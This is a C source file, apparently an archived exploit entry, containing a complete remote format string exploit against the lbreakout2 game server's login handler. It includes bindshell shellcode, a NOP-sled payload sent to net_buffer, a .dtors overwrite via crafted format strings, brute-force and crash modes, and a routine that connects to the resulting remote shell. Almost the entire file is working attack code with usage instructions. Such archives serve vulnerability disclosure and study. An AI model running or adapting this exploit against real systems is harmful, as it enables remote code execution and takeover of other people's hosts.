/*
source: https://www.securityfocus.com/bid/8021/info
It has been reported that lbreakout2 is vulnerable to a format string issue in the login component. This may result in an attacker executing arbitrary code on a vulnerable host.
*/
/*[ lbreakout[2-2.5+]: remote format string exploit. ]*
* (only v2-2.5-beta1, or greater versions affected) *
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
* *
* lbreakout(2) is a common SDL game included, in at *
* least packaged form for many linux distributions. *
* it can be found on: *
* http://www.freshmeat.net/projects/lbreakout *
* http://lgames.sourceforge.net *
* *
* there exists multiple format string bugs within *
* both the client, and the server. these bugs are *
* in the form of snprintf(buf1,len,buf2); *
* *
* this exploit takes advantage of the initial *
* login request, found in server/server.c: *
* 446:snprintf( name, 20, msg_read_string() ); *
* (the size limit(20) does not make a difference) *
* *
* the shellcode is placed in net_buffer(1024), in *
* memory. which is used for all initial udp socket *
* reading, but is not cleared. so, the exploit *
* works like so: send shellcode(1024 bytes). then, *
* send the format string buffer(64 bytes). so, the *
* events look like: *
* *
* first packet: *
* [1024 bytes (nops+shellcode)] *
* second packet: *
* [64 bytes (format string)] *
* so, net_buffer(1024) will look like: *
* [64 bytes][960 bytes (original shellcode)] *
* (only thing the format string buffer overwrites *
* are nops) *
* *
* if you want to add to the platform list, simply *
* do as followed: *
* ./xlbs -h <hostname> -g *
* *
* take the "(true)" pop value given. now you have *
* the pop value to use. *
* *
* then, do: objdump -sj.dtors \ *
* /path/to/lbreakout2server *
* *
* then, take the address given, and add 4 bytes. *
* now you have the .dtors address to use. *
* *
* then, do: objdump -x /path/to/lbreakout2server | \ *
* grep net_buffer | grep -v cur_size *
* *
* then, take the address given, and add ~200 bytes. *
* now you have the return address to use. add ~200 *
* bytes because it's a shared buffer, and can get *
* overwritten by other users, or yourself. it's *
* not likely for a legit packet to be over ~200 *
* bytes. the minimum is +64(FMTSIZE) bytes. *
* *
* i recommend when testing this exploit, using the *
* brute force option. ie: "./xlbs -h host.com -b", *
* or using an offset of 24("-d 6"), for .dtors. *
* *
* also, for when lbreakout2server/lbreakout2 is *
* setgid games. the -D, and -a command line *
* arguments both use the same snprintf() method. *
* which can also be exploited locally. *
******************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define CODESIZE 1024 /* 1024 = net_buffer size. */
#define FMTSIZE 64 /* format buffer size. */
#define TIMEOUT 10 /* socket timeouts. */
static char x86_exec[]= /* bindshell(12800), netric. */
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
"\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
"\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x32"
"\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
"\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
"\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
"\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
"\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
"\x24\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
struct platform {
unsigned int pops;
unsigned long dtors_addr;
unsigned long ret_addr;
};
struct platform target[]={
/* { pops,(.dtors addr+4),(net_buffer addr+200). } */
/* 2-2.5-beta1 source, on redhat7.1. */
{ 14,(0x805b0ec+4),(0x0807c940+200) },
/* 2-2.5-beta2 source, on redhat7.1. */
{ 14,(0x805b16c+4),(0x0807c9c0+200) },
/* put more platforms here. */
{ 0,0,0 }
};
unsigned short pt=0; /* default platform. */
char *send_packet(char *,unsigned short,char *,
unsigned int,unsigned short);
char *getfmt(int,int,unsigned int);
char *getcode(void);
void getshell(char *,unsigned short);
void getpops(char *hostname,unsigned short port);
void sendcode(char *,unsigned short,int,int,
unsigned int);
void printe(char *,short);
void usage(char *);
void sig_alarm(){printe("alarm signal/timeout",1);}
int main(int argc,char **argv){
unsigned short port=8000; /* default. */
unsigned short getpop=0;
unsigned short brute=0;
unsigned short crash=0;
int doffset=0;
int roffset=0;
int pops=0;
int chr=0;
char *hostname=0;
while((chr=getopt(argc,argv,"t:h:p:d:r:P:gbc"))!=EOF){
switch(chr){
case 't':
/* change this if more platforms are added. */
if(atoi(optarg)<0||atoi(optarg)>1)
usage(argv[0]);
pt=atoi(optarg);
break;
case 'h':
if(!hostname&&!(hostname=(char *)strdup(optarg)))
printe("main(): allocating memory failed",1);
break;
case 'p':
port=atoi(optarg);
break;
case 'd':
doffset=(atoi(optarg)*4);
break;
case 'r':
roffset=atoi(optarg);
break;
case 'P':
pops=atoi(optarg);
break;
case 'g':
getpop=1;
break;
case 'b':
brute=1;
break;
case 'c':
crash=1;
break;
default:
usage(argv[0]);
break;
}
}
if(!hostname)
usage(argv[0]);
printf(
"[*] lbreakout[2-2.5+]: remote format string exploit"
".\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakeh"
"alo)\n\n");
if(getpop){
getpops(hostname,port);
exit(0);
}
else if(crash){
/* this can sometimes help to activate the code. */
printf("[*] sending server crash code.\n");
/* login(name,pwd) buffer prefix, pwd is ignored. */
send_packet(hostname,port,"\x00\x00\x00\x00\x00\x00"
"\x00\x00\x03\x04%n",12,0);
}
else{
if(brute){
for(doffset=0;doffset<444;doffset+=4)
sendcode(hostname,port,doffset,roffset,pops);
printf("[!] brute force failed.\n");
}
else
sendcode(hostname,port,doffset,roffset,pops);
}
exit(0);
}
char *send_packet(char *hostname,unsigned short port,
char *data,unsigned int len,unsigned short getreply){
int u;
unsigned char *buf;
struct hostent *he;
struct sockaddr_in sa;
u=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sa.sin_family=AF_INET;
sa.sin_port=htons(port);
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname))){
printe("send_packet(): couldn't resolve",0);
return("(NULL)");
}
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
/* magic udp connection. */
connect(u,(struct sockaddr *)&sa,sizeof(sa));
write(u,data,len);
if(getreply){
if(!(buf=(char *)malloc(512+1)))
printe("send_packet(): allocating memory failed",1);
memset(buf,0x0,(512+1));
if(read(u,buf,512)<1){
close(u);
return("(NULL)");
}
close(u);
return(buf);
}
close(u);
return("(NULL)");
}
char *getfmt(int doff,int roff,unsigned int pop){
unsigned int addrl,addrh;
unsigned int pops=(pop?pop:target[pt].pops);
unsigned long dtors=(target[pt].dtors_addr+doff);
unsigned long addr=((target[pt].ret_addr+roff)-1);
char *buf;
char taddr[3];
taddr[0]=(dtors&0xff000000)>>24;
taddr[1]=(dtors&0x00ff0000)>>16;
taddr[2]=(dtors&0x0000ff00)>>8;
taddr[3]=(dtors&0x000000ff);
addrh=(addr&0xffff0000)>>16;
addrl=(addr&0x0000ffff);
if(!(buf=(char *)malloc(FMTSIZE+1)))
printe("getfmt(): allocating memory failed",1);
memset(buf,0x0,(FMTSIZE+1));
/* login(name,pwd) buffer prefix, pwd is ignored. */
memcpy(buf,"\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04"
,10);
if(addrh<addrl)
sprintf(buf+10,
"%c%c%c%c%c%c%c%c" /* -8 bytes. */
"%%.%dd%%%d$hn"
"%%.%dd%%%d$hn",
taddr[3]+2,taddr[2],taddr[1],taddr[0],
taddr[3],taddr[2],taddr[1],taddr[0],
(addrh-8),pops,(addrl-addrh),(pops+1));
else
sprintf(buf+10,
"%c%c%c%c%c%c%c%c" /* -8 bytes. */
"%%.%dd%%%d$hn"
"%%.%dd%%%d$hn",
taddr[3]+2,taddr[2],taddr[1],taddr[0],
taddr[3],taddr[2],taddr[1],taddr[0],
(addrl-8),(pops+1),(addrh-addrl),pops);
return(buf);
}
char *getcode(void){
char *buf;
if(!(buf=(char *)malloc(CODESIZE+1)))
printe("getcode(): allocating memory failed",1);
memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
strlen(x86_exec));
return(buf);
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096];
struct hostent *he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))
==-1){
printe("getshell(): socket() failed",0);
return;
}
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname))){
printe("couldn't resolve",0);
return;
}
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
/* i'm a lazy man, sometimes. */
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",
hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",
hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",
hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1){
printe("getshell(): select() failed",0);
return;
}
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,sizeof(buf)))<1){
printe("getshell(): read() failed",0);
return;
}
if(write(sock,buf,r)!=r){
printe("getshell(): write() failed",0);
return;
}
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,sizeof(buf)))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
/* rough/dirty, but accurate. sends login(format) */
/* request is: "xxxx[1 char packet identity][%x]." */
void getpops(char *hostname,unsigned short port){
unsigned int pops=0;
char orig[4+1];
char match[8+1];
char *buf;
unsigned char *reply; /* for %d of reply[17]. */
if(!(buf=(char *)malloc(FMTSIZE+1)))
printe("getpops(): allocating memory failed",1);
printf("NOTE: i did not add the command to disconnec"
"t the user.\nso, you have to wait roughly a minute "
"before each user\n(format string placed as a user) "
"times out. basically,\nwait a minute in-between us"
"ing it. also, the packets may\nor may not come bac"
"k in order. (or come back at all)\n\n");
printf("[*] finding pop value: %s:%d.\n\n",hostname,
port);
while(pops++<255){
memset(buf,0x0,(FMTSIZE+1));
memcpy(buf,"\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04"
,10);
/* 37=0x25='%' will get processed as a format. */
if(pops==37)
sprintf(buf+10,"xxxx%c%c%%%d$x%cunused%c",pops,
pops,pops,0x0,0x0);
else
sprintf(buf+10,"xxxx%c%%%d$x%cunused%c",pops,
pops,0x0,0x0);
reply=(char *)send_packet(hostname,port,buf,
FMTSIZE,1);
/* proof of packet reply desired. */
memset(orig,0x0,4+1);
sprintf(orig,"%.4s",(reply+13));
/* want this to be 78787878. (xxxx) */
memset(match,0x0,8+1);
sprintf(match,"%.8s",(reply+18));
/* make sure its the packet desired. */
if(strlen(match)&&strlen(orig)&&
!strcmp("xxxx",orig)){
if(!strcmp("78787878",match)){
printf("%d:\t(true)\t%s\n",reply[17],match);
printf("\n[*] the pop value is: %d.\n",pops);
return;
}
else
printf("%d:\t(false)\t%s\n",reply[17],
strlen(match)?match:"(no data)");
}
usleep(100000); /* pace it. */
}
printf("\n[!] pop location find failed.\n");
return;
}
void sendcode(char *hostname,unsigned short port,
int doff,int roff,unsigned int pops){
printf("\ntarget=%s:%d pops=%d dtors=0x%.8lx(+%d)"
" ret=0x%.8lx(+%d)\n\n",hostname,port,(pops?pops:
target[pt].pops),target[pt].dtors_addr,doff,
target[pt].ret_addr,roff);
printf("[*] sending code buffer. (net_buffer)\n");
send_packet(hostname,port,getcode(),CODESIZE,0);
sleep(1); /* needs to be done in order. */
printf("[*] sending format string, new .dtors.\n");
send_packet(hostname,port,getfmt(doff,roff,pops),
FMTSIZE,0);
sleep(1); /* give it some time to set in. */
getshell(hostname,12800); /* defined in shellcode. */
return;
}
void printe(char *err,short e){
printf("[!] error: %s.\n",err);
if(e)
exit(1);
return;
}
void usage(char *name){
printf(
"[*] lbreakout[2-2.5+]: remote format string exploit"
".\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakeh"
"alo)\n\n usage: %s [options] -h hostname\n\n option"
"s:\n -t <number>\tdefines the platform value.\n -"
"h <string>\tdefines the hostname/ip to connect to."
"\n -p <number>\tdefines the port to connect to.\n "
" -d <number*4>\tdefines the offset to use. (dtors_a"
"ddr)\n -r <number>\tdefines the offset to use. (re"
"t_addr)\n -P <number>\tdefines alternate pop value"
" to use.\n -g\t\tdefines pop finder mode.\n -b\t"
"\tdefines brute force mode.\n -c\t\tdefines server"
" crash mode.\n\n platforms:\n 0\t\tlbreaout2server"
" v2-2.5beta1-src on RedHat 7.1. (default)\n 1\t\tl"
"breaout2server v2-2.5beta2-src on RedHat 7.1.\n\n",
name);
exit(0);
}